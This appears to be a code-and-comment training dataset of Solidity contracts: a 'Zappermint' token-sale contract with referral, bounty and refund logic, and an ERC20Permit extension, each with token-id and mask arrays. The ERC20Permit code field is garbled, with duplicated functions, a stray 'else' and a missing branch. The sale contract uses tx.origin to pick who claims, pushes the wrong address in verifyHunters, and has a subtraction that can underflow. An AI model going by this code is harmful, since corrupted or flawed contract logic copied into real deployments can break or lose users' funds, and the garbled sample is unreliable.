"Only the Zappermint Token Contract can do this"); _; } /** * Only allow function with this modifier to be run by the owner */ modifier onlyOwner { require(msg.sender == _owner, "Only the owner can do this"); _; } // ---- // Constructor // ---- /** * Solves the Stack too deep error for the constructor * @param openingTime start time of the Token Sale (epoch) * @param closingTime end time of the Token Sale (epoch) * @param claimTime claim opening time (epoch) * @param softCap minimum amount of ZAPP to sell (18 decimals) * @param hardCap maximum amount of ZAPP to sell (18 decimals) * @param ethPrice price of 1 ETH in USD (8 decimals) to use in case ChainLink breaks * @param zappPrice price of 1 ZAPP in USD (8 decimals) * @param referrerMin minimum amount of ZAPP referrer must have purchased before getting a referral link (18 decimals) * @param refereeMin minimum amount of ZAPP referee must purchase to get referral bonus (18 decimals) * @param referralBonus percentage of purchase to receive as bonus (8 decimals) * @param rankRewards referrer rank reward list * @param earlyAdoptionEndTime end of early adoption bonus * @param earlyAdoptionBonus percentage of purchase to receive as bonus (8 decimals) * @param maxHunters maximum amount of bounty hunters * @param registerBonus bonus for registering as bounty hunter * @param aggregator address of ChainLink Aggregator price feed */ struct ContractArguments { uint256 openingTime; uint256 closingTime; uint256 claimTime; uint256 softCap; uint256 hardCap; uint256 ethPrice; uint256 zappPrice; uint256 referrerMin; uint256 refereeMin; uint256 referralBonus; uint256[5] rankRewards; uint256 earlyAdoptionEndTime; uint256 earlyAdoptionBonus; uint256 maxHunters; uint256 registerBonus; address aggregator; } constructor(ContractArguments memory args) { require(args.openingTime >= block.timestamp, "Opening time is before current time"); require(args.closingTime > args.openingTime, "Opening time is not before closing time"); require(args.claimTime >= args.closingTime, "Claiming time is not after closing time"); require(args.softCap < args.hardCap, "Hard cap is below soft cap"); _openingTime = args.openingTime; _closingTime = args.closingTime; _claimTime = args.claimTime; _softCap = args.softCap; _hardCap = args.hardCap; _ethPrice = args.ethPrice; _zappPrice = args.zappPrice; _referrerMin = args.referrerMin; _refereeMin = args.refereeMin; _referralBonus = args.referralBonus; _rankRewards = args.rankRewards; _earlyAdoptionEndTime = args.earlyAdoptionEndTime; _earlyAdoptionBonus = args.earlyAdoptionBonus; _maxHunters = args.maxHunters; _registerBonus = args.registerBonus; _priceFeed = AggregatorV3Interface(args.aggregator); _owner = msg.sender; } // ---- // Getters // ---- /** * @return Token Sale opening time */ function getOpeningTime() public view returns (uint256) { return _openingTime; } /** * @return Whether Token Sale is open */ function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime && !_ended; } /** * @return Token Sale closing time */ function getClosingTime() public view returns (uint256) { return _closingTime; } /** * @return Whether Token Sale is closed */ function isClosed() public view returns (bool) { return block.timestamp > _closingTime || _ended; } /** * @return Whether the Token Sale has been ended by the owner */ function isEnded() public view returns (bool) { return _ended; } /** * @return Early adoption end time */ function getEarlyAdoptionEndTime() public view returns (uint256) { return _earlyAdoptionEndTime; } /** * @return Whether the early adoption is active */ function isEarlyAdoptionActive() public view returns (bool) { return block.timestamp <= _earlyAdoptionEndTime; } /** * @return Percentage of purchase to receive as bonus during early adoption (8 decimals) */ function getEarlyAdoptionBonus() public view returns (uint256) { return _earlyAdoptionBonus; } /** * @return The claim opening time */ function getClaimTime() public view returns (uint256) { return _claimTime; } /** * @return Whether the ZAPP can be claimed */ function isClaimable() public view returns (bool) { return block.timestamp >= _claimTime && _ended && _zappContract != address(0); } /** * @return The minimum amount of ZAPP to sell (18 decimals) */ function getSoftCap() public view returns (uint256) { return _softCap; } /** * @return Whether the soft cap has been reached */ function isSoftCapReached() public view returns (bool) { return _soldZAPP >= _softCap; } /** * @return The maximum amount of ZAPP to sell (18 decimals) */ function getHardCap() public view returns (uint256) { return _hardCap; } /** * @return Whether the hard cap has been reached */ function isHardCapReached() public view returns (bool) { return _soldZAPP >= _hardCap; } /** * @return The total amount of ZAPP sold so far (18 decimals) */ function getSoldZAPP() public view returns (uint256) { return _soldZAPP; } /** * @return The current number of ZAPP a buyer gets per 1 ETH * NOTE Based on ETH/USD pair. 1 ZAPP = 0.05 USD */ function getRate() public view returns (uint256) { return getLatestPrice().div(_zappPrice); // 8 decimals } /** * @return The price of 1 ETH in USD. Attempts using ChainLink Aggregator, falls back to `_ethPrice` if broken. * NOTE 8 decimals */ function getLatestPrice() public view returns (uint256) { // Try/catch only works on external function calls. `this.f()` uses a message call instead of a direct jump, // which is considered external. // https://docs.soliditylang.org/en/v0.7.6/control-structures.html#external-function-calls // Note when ChainLink is broken, this will log an internal `revert` error, but the code will complete successfully try this.getChainlinkPrice() returns (uint256 price) { return price; } catch { return _ethPrice; } } /** * @return The price of 1 ETH in USD (from ChainLink Aggregator) * NOTE 8 decimals */ function getChainlinkPrice() public view returns (uint256) { // Get the ETH/USD price from ChainLink's Aggregator (,int256 p,,,) = _priceFeed.latestRoundData(); // This price is a signed int, so make sure it's higher than 0 require(p > 0, "Price feed invalid"); // We can now safely cast it to unsigned int and use SafeMath on it uint256 price = uint256(p); // Verify the number of decimals. We work with 8 decimals for USD prices, // but ChainLink can choose to change this at any point outside of our control. // We ensure that the price has 8 decimals with the math below. // Note that the exponent must be positive, so we use div instead of mul in case // the number of decimals is smaller than 8. uint8 decimals = _priceFeed.decimals(); if (decimals == 8) return price; else if (decimals < 8) return price.div(10**(8 - decimals)); else return price.mul(10**(decimals - 8)); } /** * @return Minimum amount of ZAPP a referrer must have bought to get a referral link (18 decimals) */ function getReferrerMin() public view returns (uint256) { return _referrerMin; } /** * @return Minimum amount of ZAPP a referee must buy to get referral bonus (18 decimals) */ function getRefereeMin() public view returns (uint256) { return _refereeMin; } /** * @return Percentage of purchase to receive as bonus (8 decimals) */ function getReferralBonus() public view returns (uint256) { return _referralBonus; } /** * @return The referral code for this address */ function getReferralCode() public view returns (bytes3) { return _wallets[msg.sender].referrer.code; } /** * @param code referral code * @return Whether the referral code is valid */ function isReferralCodeValid(bytes3 code) public view returns (bool) { return _codes[code] != address(0) && _codes[code] != msg.sender; } /** * @return The referral rank reward list */ function getRankRewards() public view returns (uint256[5] memory) { return _rankRewards; } /** * @return The amount of registered Bounty Hunters */ function getRegisteredHunters() public view returns (uint256) { return _registeredHunters.length; } /** * @return The maximum number of Bounty Hunters that can register */ function getMaxHunters() public view returns (uint256) { return _maxHunters; } /** * @return The bonus for registering as Bounty Hunter */ function getRegisterBonus() public view returns (uint256) { return _registerBonus; } /** * @return Whether Bounty Hunters can still register */ function canRegister() public view returns (bool) { return getRegisteredHunters() < getMaxHunters(); } /** * @param addr address to check * @return Whether the address is a Bounty Hunter */ function isHunter(address addr) public view returns (bool) { return _wallets[addr].isHunter; } /** * @param addr address to check * @return Whether the address is a registered Bounty Hunter */ function isHunterRegistered(address addr) public view returns (bool) { for (uint256 i = 0; i < _registeredHunters.length; ++i) { if (_registeredHunters[i] == addr) return true; } return false; } /** * @return Whether the Bounty Hunter is verified by Zappermint */ function isHunterVerified(address addr) public view returns (bool) { return _wallets[addr].hunter.verified; } /** * @param addr address to get ETH of * @return The amount of wei this address has spent (18 decimals) */ function getBuyerETH(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return _wallets[addr].buyer.eth; } /** * @param addr address to get ZAPP of * @return The amount of ZAPP bits this address has bought (18 decimals) */ function getBuyerZAPP(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return _wallets[addr].buyer.zapp; } /** * @param addr address to get bonus of * @return The amount of ZAPP bits this address will get as early adopter bonus (18 decimals) */ function getEarlyAdopterBonus(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return _wallets[addr].getEarlyAdopterBonus(_earlyAdoptionBonus); } /** * @param addr address to get bonus of * @return The amount of ZAPP bits this address will get as referrer bonus (18 decimals) */ function getReferrerBonus(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return _wallets[addr].getReferrerBonus(_referralBonus, _referrerMin, isClaimable()); } /** * @param addr address to get bonus of * @return The amount of ZAPP bits this address will receive as bonus for his purchase(s) (18 decimals) */ function getRefereeBonus(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return _wallets[addr].getRefereeBonus(_referralBonus); } /** * @param addr address to get bonus of * @return The amount of ZAPP bits this address will receive as bonus for his bounty campaign (18 decimals) */ function getHunterBonus(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return _wallets[addr].getHunterBonus(isClaimable()); } /** * @param addr address to get reward of * @return The amount of ZAPP bits this address will be rewarded with for referrer rank (18 decimals) */ function getReferrerRankReward(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; uint256 rank = getReferrerRank(addr); if (rank == 0) return 0; --rank; if (rank < _rankRewards.length) return _rankRewards[rank]; return 0; } /** * @param addr address to get reward of * @return The total amount of ZAPP bits this address will get as bonus (18 decimals) * NOTE Hunter and referrer rank rewards only added when claimable */ function getWalletTotalBonus(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; uint256 total = getEarlyAdopterBonus(addr) .add(getReferrerBonus(addr)) .add(getRefereeBonus(addr)); bool verified = isHunterVerified(addr); bool claimable = isClaimable(); // Add hunter bonus when verified if (verified) { total = total.add(getHunterBonus(addr)); } // Also add hunter bonus when not claimable yet else if (!claimable) { total = total.add(getHunterBonus(addr)); } // Add rank reward when claimable if (claimable) { total = total.add(getReferrerRankReward(addr)); } return total; } /** * @param addr address to get ZAPP of * @return The total amount of ZAPP bits this address can claim (18 decimals) */ function getWalletTotalZAPP(address addr) public view returns (uint256) { if (hasWalletClaimed(addr)) return 0; return getBuyerZAPP(addr) .add(getWalletTotalBonus(addr)); } /** * @param addr address to get claimed state of * @return Whether this address has claimed their ZAPP */ function hasWalletClaimed(address addr) public view returns (bool) { return _wallets[addr].claimed; } /** * @param addr address to get referrals of * @return The list of successful referrals of the referrer */ function getReferrals(address addr) public view returns (uint256[] memory) { uint256 length = _wallets[addr].referrer.referrals.length; uint256[] memory referrals = new uint256[](length); for (uint256 i = 0; i < length; ++i) { referrals[i] = _wallets[addr].referrer.referrals[i].zapp; } return referrals; } /** * Get the ranking position of the referrer * @param addr referrer address * @return The one-based rank of the referrer. 0 if not a referrer */ function getReferrerRank(address addr) public view returns (uint256) { // Non-referrers don't have a rank if (!_wallets[addr].isReferrer) return 0; // Must have at least one referral if (_wallets[addr].referrer.referrals.length == 0) return 0; // Start at rank 1 uint256 rank = 1; uint256 amount1 = _wallets[addr].calculateReferredAmount(_referrerMin, isClaimable()); if (amount1 == 0) return 0; // Find every referrer with a higher referral sum for (uint256 key = 0; key < _walletKeys.length; ++key) { // Skip self if (addr == _walletKeys[key]) continue; // Skip non-referrers if (!_wallets[_walletKeys[key]].isReferrer) continue; uint256 amount2 = _wallets[_walletKeys[key]].calculateReferredAmount(_referrerMin, isClaimable()); if (amount2 == 0) continue; // Increase the rank if another referrer has a higher sum if (amount2 > amount1) ++rank; // Increase the rank if another referrer has same amount but earlier time else if (amount2 == amount1 && _wallets[_walletKeys[key]].referrer.time < _wallets[addr].referrer.time) ++rank; } return rank; } /** * Get the top 5 referrers * @return The array of referred amounts of the top 5 referrers * NOTE This can vary depending on the isClaimable state */ function getTopReferrers() public view returns (uint256[5] memory) { uint256[5] memory top = [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)]; for (uint256 key = 0; key < _walletKeys.length; ++key) { uint256 amount = _wallets[_walletKeys[key]].calculateReferredAmount(_referrerMin, isClaimable()); for (uint256 t = 0; t < top.length; ++t) { if (amount > top[t]) { for (uint256 i = 4; i > t; --i) { top[i] = top[i - 1]; } top[t] = amount; break; } } } return top; } /** * @return Total amount of ZAPP that has been bought during Early Adoption */ function getTotalEarlyAdoptionZAPP() public view returns (uint256) { uint256 total; for (uint256 i = 0; i < _walletKeys.length; ++i) { total = total.add(_wallets[_walletKeys[i]].earlyAdopter.zapp); } return total; } /** * @return Total amount of ZAPP that has been bought without referral code */ function getTotalWithoutCodeZAPP() public view returns (uint256) { uint256 total; for (uint256 i = 0; i < _walletKeys.length; ++i) { total = total.add(_wallets[_walletKeys[i]].buyer.zapp) .sub(_wallets[_walletKeys[i]].referee.zapp); } return total; } /** * @return Total amount of ZAPP that has been bought with referral code */ function getTotalReferredZAPP() public view returns (uint256) { uint256 total; for (uint256 i = 0; i < _walletKeys.length; ++i) { total = total.add(_wallets[_walletKeys[i]].referee.zapp); } return total; } /** * @return Total amount of ZAPP that has been bought with Bounty Hunter referral code */ function getTotalHunterReferredZAPP() public view returns (uint256) { uint256 total; for (uint256 i = 0; i < _registeredHunters.length; ++i) { total = total.add(_wallets[_registeredHunters[i]].calculateReferredAmount(_referrerMin, false)); } return total; } /** * @return The Zappermint Token Contract address */ function getZAPPContract() public view returns (address) { return _zappContract; } /** * @return The owner of the Token Sale Contract */ function getOwner() public view returns (address) { return _owner; } // ---- // Currency helpers // ---- /** * Calculate amount of ZAPP for a given amount of wei * @param weiAmount amount of wei (18 decimals) * @return ZAPP */ function calculateZAPPAmount(uint256 weiAmount) public view returns (uint256) { return weiAmount.mul(getRate()); } /** * Calculate amount of ETH for a given amount of ZAPP bits * @param zappAmount amount of ZAPP bits (18 decimals) * @return Wei */ function calculateETHAmount(uint256 zappAmount) public view returns (uint256) { return zappAmount.div(getRate()); } // ---- // Setters // ---- /** * Changes the ETH price in case ChainLink breaks * @param price price of 1 ETH in USD (8 decimals) */ function setETHPrice(uint256 price) public beforeEnd onlyOwner { _ethPrice = price; } /** * Changes the max amount of Bounty Hunters that can register * @param max new max amount */ function setMaxHunters(uint256 max) public beforeEnd onlyOwner { _maxHunters = max; } /** * Closes the Token Sale manually */ function endTokenSale() public onlyOwner { _ended = true; } /** * Sets the address of the Zappermint Token Contract * @param zappContract address of the Zappermint Token Contract */ function setZAPPContract(address zappContract) public onlyOwner { _zappContract = zappContract; } /** * Transfers ownership * @param newOwner address of the new owner */ function changeOwner(address newOwner) public onlyOwner { _owner = newOwner; } // ---- // Transaction functions // ---- /** * Fallback function shouldn't do anything, as it won't have any ETH to buy ZAPP with */ fallback () external whileOpen { revert("Fallback function called"); } /** * Receive function to buy ZAPP */ receive() external payable whileOpen { buyZAPP(); } /** * Buy ZAPP without referral code */ function buyZAPP() public payable whileOpen { uint256 zapp = _buyZAPP(msg.sender, msg.value); _assignBonuses(msg.sender, zapp, bytes3(0)); } /** * Buy ZAPP with referral code * @param code used referral code */ function buyZAPPWithCode(bytes3 code) public payable whileOpen { uint256 zapp = _buyZAPP(msg.sender, msg.value); _assignBonuses(msg.sender, zapp, code); } /** * Register as Bounty Hunter * NOTE This generates a code for the address, disregarding the bought zapp amount */ function registerHunter() public whileNotClosed { require(!isHunterRegistered(msg.sender), "Already a Bounty Hunter"); require(canRegister(), "Maximum amount of Bounty Hunters has been reached"); // Register without purchase if (_wallets[msg.sender].addr == address(0)) { _wallets[msg.sender].addr = msg.sender; _walletKeys.push(msg.sender); } _wallets[msg.sender].register(_registerBonus, _codes); _registeredHunters.push(msg.sender); } /** * Verifies Bounty Hunters and adds their collected bounty rewards * @param hunters list of Bounty Hunters * @param bonuses list of bounty rewards (18 decimals) * NOTE Lists need to be of same length */ function verifyHunters(address[] memory hunters, uint256[] memory bonuses) public afterEnd aboveSoftCap onlyOwner { require(hunters.length == bonuses.length, "Data length mismatch"); for (uint256 i = 0; i < hunters.length; ++i) { // Verify without purchase if (_wallets[hunters[i]].addr == address(0)) { _wallets[hunters[i]].addr = payable(hunters[i]); _walletKeys.push(msg.sender); } _wallets[hunters[i]].verify(bonuses[i]); } } /** * Transfers the contract's wei to a wallet, after Token Sale ended and has reached the soft cap * @param wallet address to send wei to */ function claimETH(address payable wallet) public afterEnd aboveSoftCap onlyOwner { wallet.transfer(address(this).balance); } /** * Lets a wallet claim their ZAPP through the Zappermint Token Contract, after claim opening time * and if token sale has reached the soft cap * @return Amount of bought ZAPP and amount of bonus ZAPP * NOTE The payout implementation of this can be found in the Zappermint Token Contract */ function claimZAPP() public afterEnd aboveSoftCap whileClaimable onlyZAPPContract returns (uint256, uint256) { address beneficiary = tx.origin; // Use tx, as msg points to the Zappermint Token Contract require(!hasWalletClaimed(beneficiary), "Already claimed"); uint256 zapp = getBuyerZAPP(beneficiary); uint256 bonus = getWalletTotalBonus(beneficiary); // Adjust claimed state _wallets[beneficiary].claimed = true; // Return amount of ZAPP and bonus of the wallet // NOTE Returned separately so the Token Contract can send the ZAPP from the correct pools return (zapp, bonus); } /** * Lets the buyer claim their ETH, after Token Sale ended and hasn't reached the soft cap */ function claimRefund() public afterEnd belowSoftCap { address beneficiary = msg.sender; require(_wallets[beneficiary].isBuyer, "Not a buyer"); require(!_wallets[beneficiary].claimed, "Already claimed"); // Get buyer variables before changing state (otherwise will return 0!) uint256 zapp = getBuyerZAPP(beneficiary); uint256 eth = getBuyerETH(beneficiary); // Adjust claimed state _wallets[beneficiary].claimed = true; // Adjust Token Sale state _soldZAPP = _soldZAPP.sub(zapp); // Refund the ETH of the buyer _wallets[beneficiary].addr.transfer(eth); } // ---- // Internal functions // ---- /** * Calculate amount of ZAPP for a given amount of wei * @param weiAmount amount of wei * @param rate ZAPP/ETH rate * @return ZAPP bits (18 decimals) * NOTE Internally used as optimization by avoiding multiple Chainlink calls */ function _calculateZAPPAmount(uint256 weiAmount, uint256 rate) internal pure returns (uint256) { return weiAmount.mul(rate); } /** * Calculate amount of ETH for a given amount of ZAPP bits * @param zappAmount amount of ZAPP bits (18 decimals) * @param rate ZAPP/ETH rate * @return wei * NOTE Internally used as optimization by avoiding multiple Chainlink calls */ function _calculateETHAmount(uint256 zappAmount, uint256 rate) internal pure returns (uint256) { return zappAmount.div(rate); } /** * Buys ZAPP * @param beneficiary address of buyer * @param eth amount of ETH sent * @return Amount of ZAPP bought */ function _buyZAPP(address beneficiary, uint256 eth) internal returns (uint256) { // Verify amount of ETH require(eth > 0, "Not enough ETH"); // First purchase if (_wallets[beneficiary].addr == address(0)) { _wallets[beneficiary].addr = payable(beneficiary); _walletKeys.push(beneficiary); } // Make sure the rate is consistent in this purchase uint256 rate = getRate(); // Calculate the amount of ZAPP to receive and add it to the total sold uint256 zapp = _calculateZAPPAmount(eth, rate); _soldZAPP = _soldZAPP.add(zapp); // Verify that this purchase isn't surpassing the hard cap, otherwise refund exceeding amount int256 exceeding = int256(_soldZAPP - _hardCap); uint256 exceedingZAPP = 0; uint256 exceedingETH = 0; if (exceeding > 0) { // Adjust sold amount and close Token Sale _soldZAPP = _hardCap; _ended = true; // Adjust amount of bought ZAPP and paid ETH exceedingZAPP = uint256(exceeding); exceedingETH = _calculateETHAmount(exceedingZAPP, rate); zapp = zapp.sub(exceedingZAPP); eth = eth.sub(exceedingETH); } // Adjust the buyer _wallets[beneficiary].purchase(eth, zapp); // Purchase adds total bought ZAPP to more than referrer minimum if (!_wallets[beneficiary].isReferrer && _wallets[beneficiary].buyer.zapp >= _referrerMin) { _wallets[beneficiary].isReferrer = true; _wallets[beneficiary].generateReferralCode(_codes); } // Refund the exceeding ETH // NOTE Checks-Effects-Interactions pattern if (exceeding > 0) _wallets[beneficiary].addr.transfer(exceedingETH); return zapp; } /** * Assigns all active bonuses for a purchase * @param beneficiary address of the buyer * @param zapp amount of ZAPP bits purchased (18 decimals) * @param code used referral code (set to 0 if no code used) */ function _assignBonuses(address beneficiary, uint256 zapp, bytes3 code) internal { // Referral bonus if code is valid and purchased enough ZAPP if (isReferralCodeValid(code)) { if (zapp >= _refereeMin) { _wallets[beneficiary].referral(zapp, _wallets[_codes[code]]); } } // Early adopter bonus if code invalid and early adoption active else { if (isEarlyAdoptionActive()) { _wallets[beneficiary].earlyAdoption(zapp); } } } }
* @return Total amount of ZAPP that has been bought without referral code/
function getTotalWithoutCodeZAPP() public view returns (uint256) { uint256 total; for (uint256 i = 0; i < _walletKeys.length; ++i) { total = total.add(_wallets[_walletKeys[i]].buyer.zapp) .sub(_wallets[_walletKeys[i]].referee.zapp); } return total; }
12,585,391
[ 1, 2463, 10710, 3844, 434, 2285, 7215, 716, 711, 2118, 800, 9540, 2887, 1278, 29084, 981, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12831, 8073, 1085, 62, 7215, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 2078, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 19177, 2396, 18, 2469, 31, 965, 77, 13, 288, 203, 5411, 2078, 273, 2078, 18, 1289, 24899, 8019, 2413, 63, 67, 19177, 2396, 63, 77, 65, 8009, 70, 16213, 18, 94, 2910, 13, 203, 7682, 263, 1717, 24899, 8019, 2413, 63, 67, 19177, 2396, 63, 77, 65, 8009, 266, 586, 1340, 18, 94, 2910, 1769, 203, 3639, 289, 203, 3639, 327, 2078, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // Adapted copy from https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237/files import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./ECDSA.sol"; /** * @dev Extension of {ERC20} that allows token holders to use their tokens * without sending any transactions by setting {IERC20-allowance} with a * signature using the {permit} method, and then spend them via * {IERC20-transferFrom}. * * The {permit} signature mechanism conforms to the {IERC2612Permit} interface. */ abstract contract ERC20Permit is ERC20 { mapping(address => uint256) private _nonces; bytes32 private constant _PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); // Mapping of ChainID to domain separators. This is a very gas efficient way // to not recalculate the domain separator on every call, while still // automatically detecting ChainID changes. mapping(uint256 => bytes32) private _domainSeparators; constructor() internal { _updateDomainSeparator(); } /** * @dev See {IERC2612Permit-permit}. * * If https://eips.ethereum.org/EIPS/eip-1344[ChainID] ever changes, the * EIP712 Domain Separator is automatically recalculated. */ function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { require(blockTimestamp() <= deadline, "ERC20Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner], deadline)); bytes32 hash = keccak256(abi.encodePacked(uint16(0x1901), _domainSeparator(), hashStruct)); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner]++; _approve(owner, spender, amount); } /** * @dev See {IERC2612Permit-nonces}. */ function nonces(address owner) public view returns (uint256) { return _nonces[owner]; } function _updateDomainSeparator() private returns (bytes32) { uint256 _chainID = chainID(); bytes32 newDomainSeparator = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), keccak256(bytes("1")), // Version _chainID, address(this) ) ); _domainSeparators[_chainID] = newDomainSeparator; return newDomainSeparator; } // Returns the domain separator, updating it if chainID changes function _domainSeparator() private returns (bytes32) { bytes32 domainSeparator = _domainSeparators[chainID()]; if (domainSeparator != 0x00) { return domainSeparator; } else { return _updateDomainSeparator(); } } function chainID() public virtual view returns (uint256 _chainID) { assembly { _chainID := chainid() } } function blockTimestamp() public virtual view returns (uint256) { return block.timestamp; } }
* @dev Extension of {ERC20} that allows token holders to use their tokens without sending any transactions by setting {IERC20-allowance} with a signature using the {permit} method, and then spend them via {IERC20-transferFrom}. The {permit} signature mechanism conforms to the {IERC2612Permit} interface./ Mapping of ChainID to domain separators. This is a very gas efficient way to not recalculate the domain separator on every call, while still automatically detecting ChainID changes.
abstract contract ERC20Permit is ERC20 { mapping(address => uint256) private _nonces; bytes32 private constant _PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); mapping(uint256 => bytes32) private _domainSeparators; constructor() internal { _updateDomainSeparator(); } function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { require(blockTimestamp() <= deadline, "ERC20Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner], deadline)); bytes32 hash = keccak256(abi.encodePacked(uint16(0x1901), _domainSeparator(), hashStruct)); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner]++; _approve(owner, spender, amount); } function nonces(address owner) public view returns (uint256) { return _nonces[owner]; } function _updateDomainSeparator() private returns (bytes32) { uint256 _chainID = chainID(); bytes32 newDomainSeparator = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), _chainID, address(this) ) ); _domainSeparators[_chainID] = newDomainSeparator; return newDomainSeparator; } function _domainSeparator() private returns (bytes32) { bytes32 domainSeparator = _domainSeparators[chainID()]; if (domainSeparator != 0x00) { return domainSeparator; return _updateDomainSeparator(); } } function _domainSeparator() private returns (bytes32) { bytes32 domainSeparator = _domainSeparators[chainID()]; if (domainSeparator != 0x00) { return domainSeparator; return _updateDomainSeparator(); } } } else { function chainID() public virtual view returns (uint256 _chainID) { assembly { _chainID := chainid() } } function chainID() public virtual view returns (uint256 _chainID) { assembly { _chainID := chainid() } } function blockTimestamp() public virtual view returns (uint256) { return block.timestamp; } }
7,278,930
[ 1, 3625, 434, 288, 654, 39, 3462, 97, 716, 5360, 1147, 366, 4665, 358, 999, 3675, 2430, 2887, 5431, 1281, 8938, 635, 3637, 288, 45, 654, 39, 3462, 17, 5965, 1359, 97, 598, 279, 3372, 1450, 326, 288, 457, 1938, 97, 707, 16, 471, 1508, 17571, 2182, 3970, 288, 45, 654, 39, 3462, 17, 13866, 1265, 5496, 1021, 288, 457, 1938, 97, 3372, 12860, 356, 9741, 358, 326, 288, 45, 654, 39, 5558, 2138, 9123, 305, 97, 1560, 18, 19, 9408, 434, 7824, 734, 358, 2461, 14815, 18, 1220, 353, 279, 8572, 16189, 14382, 4031, 358, 486, 26657, 326, 2461, 4182, 603, 3614, 745, 16, 1323, 4859, 6635, 5966, 310, 7824, 734, 3478, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
